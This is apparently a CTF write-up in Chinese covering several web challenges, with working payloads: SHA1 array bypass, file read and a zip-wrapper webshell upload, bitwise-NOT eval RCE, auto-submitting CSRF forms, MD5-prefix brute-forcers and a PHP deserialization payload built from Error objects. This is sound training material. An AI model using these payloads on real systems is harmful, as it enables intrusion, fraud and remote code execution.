web-Welcome #请求方法+sha1哈希绕过
打开是405错误,抓包后看到是Method Not Allowed
搜索后发现是请求方式错误,换成POST传参就可以拿到源码了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?php error_reporting (0 );if ($_SERVER ['REQUEST_METHOD' ] !== 'POST' ) {header ("HTTP/1.1 405 Method Not Allowed" );exit ();} else { if (!isset ($_POST ['roam1' ]) || !isset ($_POST ['roam2' ])){ show_source (__FILE__ ); } else if ($_POST ['roam1' ] !== $_POST ['roam2' ] && sha1 ($_POST ['roam1' ]) === sha1 ($_POST ['roam2' ])){ phpinfo (); } }
前面都是刚刚遇到的,我们只需要关注最后一个else if语句就可以了
一个简单的sha1哈希绕过,传数组就可以了
然后在里面查找flag就可以了
web-Myblog #任意文件读取+zip伪协议文件上传
可以看到有登录入口,测试一下
输入1和1后页面显示
可以看到url中有admin和user,应该是需要管理员登陆,我们先fuzz一下sql注入什么的,但是发现打不进去,后来发现在url中有?page=login参数,猜测可能是任意文件读取漏洞,试一下
什么也没得,看了wp后才知道这里的话源码中是闭合了php后缀的,那我们再试一下,然后就读出来了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 //login.php <!DOCTYPE html > <html > <head > <meta charset ="utf-8" > <meta http-equiv ="X-UA-Compatible" content ="IE=edge" > <title > Login</title > <meta name ="description" content ="" > <meta name ="viewport" content ="width=device-width, initial-scale=1, shrink-to-fit=no" > <meta name ="robots" content ="all,follow" > <link rel ="stylesheet" href ="https://ajax.aspnetcdn.com/ajax/bootstrap/4.2.1/css/bootstrap.min.css" > <link rel ="stylesheet" href ="css/style.default.css" id ="theme-stylesheet" > </head > <body > <div class ="page login-page" > <div class ="container d-flex align-items-center" > <div class ="form-holder has-shadow" > <div class ="row" > <div class ="col-lg-6" > <div class ="info d-flex align-items-center" > <div class ="content" > <div class ="logo" > <h1 > 欢迎登录</h1 > </div > <p > —— 博客后台 ——</p > </div > </div > </div > <div class ="col-lg-6 bg-white" > <div class ="form d-flex align-items-center" > <div class ="content" > <form method ="post" action ="/?page=admin/user" class ="form-validate" id ="loginFrom" > <div class ="form-group" > <input id ="login-username" type ="text" name ="username" required data-msg ="请输入用户名" placeholder ="用户名" class ="input-material" > </div > <div class ="form-group" > <input id ="login-password" type ="password" name ="password" required data-msg ="请输入密码" placeholder ="密码" class ="input-material" > </div > <button id ="login" type ="submit" class ="btn btn-primary" > 登录</button > <div style ="margin-top: -40px;" > <div class ="custom-control custom-checkbox " style ="float: right;" > <input type ="checkbox" class ="custom-control-input" id ="check2" > <label class ="custom-control-label" for ="check2" > 自动登录</label > </div > <div class ="custom-control custom-checkbox " style ="float: right;" > <input type ="checkbox" class ="custom-control-input" id ="check1" > <label class ="custom-control-label" for ="check1" > 记住密码 </label > </div > </div > </form > <br /> <small > 没有账号?</small > <a href ="#" class ="signup" > 不给注册</a > </div > </div > </div > </div > </div > </div > </div > <script src ="https://libs.baidu.com/jquery/1.10.2/jquery.min.js" > </script > <script src ="https://ajax.aspnetcdn.com/ajax/bootstrap/4.2.1/bootstrap.min.js" > </script > <script src ="vendor/jquery-validation/jquery.validate.min.js" > </script > <script src ="js/front.js" > </script > </body > </html > <?php require_once("secret.php"); mt_srand($secret_seed); $_SESSION['password'] = mt_rand(); ?>
1 2 3 4 5 //secret.php <?php $secret_seed = mt_rand(); ?>
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <?php error_reporting (0 );session_start ();$logined = false ;if (isset ($_POST ['username' ]) and isset ($_POST ['password' ])){ if ($_POST ['username' ] === "Longlone" and $_POST ['password' ] == $_SESSION ['password' ]){ $logined = true ; $_SESSION ['status' ] = $logined ; } } if ($logined === false && !isset ($_SESSION ['status' ]) || $_SESSION ['status' ] !== true ){ echo "<script>alert('username or password not correct!');window.location.href='index.php?page=login';</script>" ; die (); } ?>
最后一个是我没想到的,尽管看着不像文件,但是还是读取出来了emm
这里我们分析一下代码,需要让username=Longlone,然后密码的话是session中password的值,也就是经过随机后的值,那我们怎么去拿到password的值呢?
碰撞基本上是不可能的,我们把cookie中的值删除,令password为空,那我们的username对应的password为空的话就可以绕过验证了,但是好像必须输入密码,那我们把密码对应的HTML中 required 属性规定必需在提交之前填写输入字段。直接找到它把它删了,然后就成功登录了
发现一个上传头像的地方,看看是不是文件上传漏洞
发现可以上传,那我们这里可以将php文件打包成zip,改后缀名为jpg,再利用zip
伪协议进行读取。zip协议是可以解压缩jpg后缀的压缩包的。
先写一个木马文件,然后用zip压缩转成jpg文件后缀进行上传,上传成功后进行访问发现并不能看到图片(是因为我们这个文件是个压缩包,不是个正常的图片)
利用zip伪协议读取一下
zip:// + zip路径 + %23 + php文件名
这里用%23去把源码中自动接上的php后缀去掉,然后传入参数执行命令就可以了
web-Rceme
打开是一个命令执行界面
可以看到里面有提示Do you know vim swp,意思是vim缓存信息泄露,访问.index.php.swp可以得到缓存文件,可以看到页面源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 <?php error_reporting (0 );session_start ();if (!isset ($_SESSION ['code' ])){ $_SESSION ['code' ] = substr (md5 (mt_rand ().sha1 (mt_rand)),0 ,5 ); } if (isset ($_POST ['cmd' ]) and isset ($_POST ['code' ])){ if (substr (md5 ($_POST ['code' ]),0 ,5 ) !== $_SESSION ['code' ]){ die ('<script>alert(\'Captcha error~\');history.back()</script>' ); } $_SESSION ['code' ] = substr (md5 (mt_rand ().sha1 (mt_rand)),0 ,5 ); $code = $_POST ['cmd' ]; if (strlen ($code ) > 70 or preg_match ('/[A-Za-z0-9]|\'|"|`|\ |,|\.|-|\+|=|\/|\\|<|>|\$|\?|\^|&|\|/ixm' ,$code )){ die ('<script>alert(\'Longlone not like you~\');history.back()</script>' ); }else if (';' === preg_replace ('/[^\s\(\)]+?\((?R)?\)/' , '' , $code )){ @eval ($code ); die (); }
简单来说就是
1.code经过md5加密后的前5个字符要等于session 的code
2.cmd长度不能超过70且不能被正则匹配到
3.匹配括号内的内容替换成空格后结果为;
使用的方法就是无数字字母rce,如果是函数套用的话只能满足第三个条件而不能满足第二个条件,所以我们只能用无数字字母rce的方法去实现函数套用
无数字字母rce的话就是自增,取反,异或三种方法,但是自增的话可能满足不了长度的要求,异或的符号被过滤了,所以我们试一下取反去进行函数套用
首先要通过第一个判断句
哈希运算 1 2 3 4 5 6 7 import hashlibfor i in range (1 ,10000000000000 ): m=hashlib.md5(str (i).encode()).hexdigest() if m[0 :5 ]=='cfc86' : print (i) break
运行结果
可以得出252796的结果,也就是我们的code要传的参数,然后我们就用取反去进行rce
先试一下phpinfo()
在响应包中可以看到我们的php版本,在PHP7中支持这种调用方法,因此支持这么写(‘phpinfo’)();例如
1 2 ['phpinfo'][0]() ['phpinfo']{0}()
也都是可以的
1 phpinfo(): [~%8F%97%8F%96%91%99%90][~%CF]();
加这个[%FF]只是因为php7的解析方式,当然换成其他的也可以例如[%EF] [~%CF]
rce没成功,后面才知道是session的值交包后会更新,后面改了之后整了几次就整出来了
1 var_dump(getallheaders());
getallheaders()
函数用于获取当前请求的所有 HTTP 头信息。
因为有长度限制,不然想直接执行ls命令的函数套用来着
因为ua头可控,所以我们这里可以通过ua去进行rce
贴一个取反的脚本
取反脚本poc 1 2 3 4 5 <?php $ans1 ='getallheaders' ;$data1 =('~' .urlencode (~$ans1 ));echo ('(' .$data1 .')' .';' );
payload就是
1 2 [~%89%9E%8D%A0%9B%8A%92%8F][~%CF]([~%98%9A%8B%9E%93%93%97%9A%9E%9B%9A%8D%8C][~%CF]()); user-agent: ls /
看看ua头在哪个位置,但是好像我的ua头不在第二个位置,所以网上的wp用var_dump(next(getallheaders());打不了,重开靶机后也是这样,反正思路是对的
flagshop #CSRF跨站请求伪造 注册后登录在主页底下找到购买flag的按钮,但是显示钱不够
然后在转账里面看到转账的入口,试着给自己转钱但是不可行
后来看了wp才知道题目可以利用CSRF
漏洞进行攻击,但是需要自己写一个页面让后台点击,接着会自动跳转到转账页面,让服务器以为是后台转账操作。
假如我们写了一个恶意页面并提交报告上传,后台就会点击我们的报告,而我们页面的内容会进行自动跳转到转账页面,那接下来我们就写一下我们自己的CSRF恶意网页(这里是用的bp里的CSRF的poc)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <html > <body > <form action ="http://52235d31-9522-47f0-9ea9-8508a7a151f0.node5.buuoj.cn:81/transfer.php" method ="POST" enctype ="multipart/form-data" > //设置我们URL的表单提交 <input type ="hidden" name ="target" value ="1" /> <input type ="hidden" name ="money" value ="100000000000" /> <input type ="hidden" name ="messages" value ="1" /> <input type ="submit" value ="Submit request" /> </form > <script > history.pushState ('' , '' , '/' ); document .forms [0 ].submit (); </script > </body > </html >
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <html > <body > <script > history.pushState ('' , '' , '/' ) </script > <form action ="http://52235d31-9522-47f0-9ea9-8508a7a151f0.node5.buuoj.cn:81/transfer.php" method ="POST" enctype ="multipart/form-data" > <input type ="hidden" name ="target" value ="qwasd" /> <input type ="hidden" name ="money" value ="1000000000000000000000000000000000000000000000000000000" /> <input type ="hidden" name ="messages" value ="123" /> <input type ="submit" value ="Submit request" id ="onclick_1" /> </form > <script type ="text/javascript" > document .getElementById ("onclick_1" ).click (); </script > </body > </html >
解释一下第一个exp的那段js代码
**history.pushState('', '', '/');
**:
说白了这里将当前页面的URL设置为’/‘但不会引起页面刷新。是一种掩盖我们攻击的时候提交恶意请求的实际URL
**document.forms[0].submit();
**:
**document.forms
**:这是一个包含文档中所有表单的集合,document.forms[0]
获取第一个表单元素(在这个例子中是 <form>
标签)。
.submit()
方法 :这是一个 JavaScript 方法,用于程序matically 提交表单。调用这个方法时,浏览器会自动执行表单的提交操作,发送表单数据到指定的 action
URL。
上传报告的地方可以上传,但是需要爆破验证码
贴个MD5截断加密的解密脚本 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 from multiprocessing.dummy import Pool as tpimport hashlibknownMd5 = '6fb05' def md5 (text ): return hashlib.md5(str (text).encode('utf-8' )).hexdigest() def findCode (code ): key = code.split(':' ) start = int (key[0 ]) end = int (key[1 ]) for code in range (start, end): if md5(code)[0 :5 ] == knownMd5: print (code) break list =[]for i in range (3 ): list .append(str (10000000 *i) + ':' + str (10000000 *(i+1 ))) pool = tp() pool.map (findCode, list ) pool.close() pool.join()
解密出来后在自己的web网站目录下放一个CSRF页面然后提交报告就可以了,我是放在我的远程服务器里头的
1 2 3 4 5 报告主题:BUG 验证码:爆破出来的 报告内容:http://服务器IP/1.html
其实本来是可以出来的,但是不知道为啥buuctf的这道题的环境可能有问题一直出不来,所以了解思路就可以了
Greatphp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 <?php error_reporting (0 );class SYCLOVER { public $syc ; public $lover ; public function __wakeup ( ) { if ( ($this ->syc != $this ->lover) && (md5 ($this ->syc) === md5 ($this ->lover)) && (sha1 ($this ->syc)=== sha1 ($this ->lover)) ){ if (!preg_match ("/\<\?php|\(|\)|\"|\'/" , $this ->syc, $match )){ eval ($this ->syc); } else { die ("Try Hard !!" ); } } } } if (isset ($_GET ['great' ])){ unserialize ($_GET ['great' ]); } else { highlight_file (__FILE__ ); } ?>
反序列化的题目,只有一个wakeup方法里面的eval函数可以使用,看php版本是7.2.25,先分析一下里面的if语句
1.需要让这两个成员变量不相等且md5值和sha1值相等
2.绕过正则匹配,匹配字符为'<?php',左右括号,单引号,双引号
本来以为是一个正常的php绕过,但是强碰撞去绕过md5验证的话很难传入我们的rce危险函数
在类里,无法用数组进行md5绕过,然后学到一个新姿势就是用原生类进行绕过
这里我们可以使用原生类Error或者Exception,只不过 Exception 类适用于PHP 5,7和8,而 Error 只适用于 PHP 7和8。
Exception原生类 (PHP 5, PHP 7, PHP 8)
Exception 是所有用户级异常的基类。
关于类的摘要
属性:
message
异常消息内容
code
异常代码
file
抛出异常的文件名
line
抛出异常在该文件中的行号
previous
之前抛出的异常
string
字符串形式的堆栈跟踪
trace
数组形式的堆栈跟踪
各种方法的解释
Error原生类 (PHP 7, PHP 8)
Error 是所有PHP内部错误类的基类。
关于类的摘要
属性
message
错误消息内容
code
错误代码
file
抛出错误的文件名
line
抛出错误的行数
previous
之前抛出的异常
string
字符串形式的堆栈跟踪
trace
数组形式的堆栈跟踪
各种方法的解释
接下来我们拿Error类在本地做一下测试进行讲解,Exception类和这个大差不差
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 <?php $a =new Error ("payload" ,1 );$b =new Error ("payload" ,2 );echo $a ;echo $b ;if ($a !=$b ){ echo "不相等" ; } if (md5 ($a )===md5 ($b )){ echo "md5相等" ; } if (sha1 ($a )===sha1 ($b )){ echo "sha1相等" ; } ?>
这里可以看到是成功满足了不相等的条件的,
在 PHP 中,$a
和 $b
是两个不同的对象实例,尽管它们的构造函数接收的参数相同(即都为 "payload"
),但它们的错误代码不同($a
的错误代码为 1
,而 $b
的错误代码为 2
)。
在 PHP 中,当您比较两个对象时,使用 !=
或 !==
运算符会比较对象的实例
引用比较 :如果两个对象引用的是同一个实例(即它们是同一个对象),那么它们是相等的。
内容比较 :如果两个对象是不同的实例(即它们是不同的对象),即使它们的属性具有相同的值,PHP 仍然会认为它们是不相等的
因此,这两个对象被认为是不相等的。但是后面两个条件没满足,没满足md5的验证。这时候我们如果设置为同一行呢
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 <?php $a =new Error ("payload" ,1 );$b =new Error ("payload" ,2 );echo $a ."\n" ;echo $b ."\n" ;if ($a !=$b ){ echo "不相等\n" ; } if (md5 ($a )===md5 ($b )){ echo "md5相等\n" ; } if (sha1 ($a )===sha1 ($b )){ echo "sha1相等\n" ; } ?>
这时候他们的md5和sha1是一样的,且他们的值是不一样的,因为md5和sha1比较的是
Error: payload in E:\vscode\profiles\1.php:2 Stack trace: #0 {main}
由于它们在同一行中被执行,若在此行代码中发生错误,错误指向的行数仅会标记为当前的行,即行号 2,这时候他们的内容完全相等,所以他们的md5值也会相等
理清楚之后我们就开始打吧
因为eval执行带有完整标签的语句需要先闭合,就类似于将字符串当成代码写入到源码中。
由于题目用preg_match过滤了小括号无法调用函数,所以我们尝试直接include "/flag"
将flag包含进来即可;由于过滤了引号,于是在这里进行取反,这样解码后就自动是字符串 ,无需再加双引号或单引号。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 <?php class SYCLOVER { public $syc ; public $lover ; public function __wakeup ( ) { if ( ($this ->syc != $this ->lover) && (md5 ($this ->syc) === md5 ($this ->lover)) && (sha1 ($this ->syc)=== sha1 ($this ->lover)) ){ if (!preg_match ("/\<\?php|\(|\)|\"|\'/" , $this ->syc, $match )){ eval ($this ->syc); } else { die ("Try Hard !!" ); } } } } $payload ="?><?=include~" .urldecode ("%d0%99%93%9e%98" )."?><?" ;$a =new Error ($payload ,1 );$b =new Error ($payload ,2 );$c = new SYCLOVER ();$c ->syc = $a ;$c ->lover = $b ;echo urlencode (serialize ($c ));?>
FighterFightsInvincibly